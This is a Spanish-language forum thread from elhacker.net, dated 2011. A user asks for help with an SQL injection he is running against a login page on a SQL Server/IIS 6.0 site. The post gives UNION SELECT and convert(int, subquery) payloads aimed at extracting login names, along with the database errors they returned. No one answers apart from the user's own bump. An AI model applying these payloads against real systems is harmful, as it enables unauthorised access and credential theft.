elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:57  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  Sql injection problema :(
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sql injection problema :(  (Leído 1,672 veces)
locot3

Desconectado Desconectado

Mensajes: 74


Ver Perfil
Sql injection problema :(
« en: 15 Febrero 2011, 23:14 »

Buenas y gracias X la ayuda, mi probema es este : en una injecion SQL a una pagina de LOGIN que estoy provando despues de llegar a averiguar el NOMBRE de la TABLA y TODOS sus campos al momento de hacer el :

UNION SELECT MIN(login),1,1,1 FROM tablelogin WHERE login > 'a'--

*REsultado :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Operand type clash: text is incompatible with int

****AL buscar una solucion me encontre con este tipo de injjecion :

convert(int,(SELECT login FROM tablelogin WHERE login > 'a'))

*REsultado :

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression


por lo que puedo ver el server correo IIS 6.0 si sirve de algo ,, cualquiero ayuda sera bien recivida y muchas gracias por el tiempo !
En línea
locot3

Desconectado Desconectado

Mensajes: 74


Ver Perfil
Re: Sql injection problema :(
« Respuesta #1 en: 20 Febrero 2011, 04:19 »

y los dias pasan :D....... .. . ... ..  .....
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[MOD] Se me resiste un foro :@ Problema con la SQL injection y el hash md5
Nivel Web
h1t0k1r1 4 2,110 Último mensaje 1 Octubre 2004, 23:49
por eLank0
Problema con UNION SELECT en SQL Injection
Nivel Web
Mie2 4 3,540 Último mensaje 29 Octubre 2008, 02:02
por 1nc0d3
problema SQL Injection: Type mismatch: 'CDBL'
Nivel Web
slackbyte 3 3,213 Último mensaje 3 Mayo 2009, 06:13
por slackbyte
problema con sql injection
Hacking Básico
birdman 1 1,041 Último mensaje 30 Julio 2009, 11:55
por kamsky
CAST EXEC en sql injection(Automated Sql Injection)
Nivel Web
EvilGoblin 2 1,959 Último mensaje 11 Julio 2010, 22:25
por EvilGoblin
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines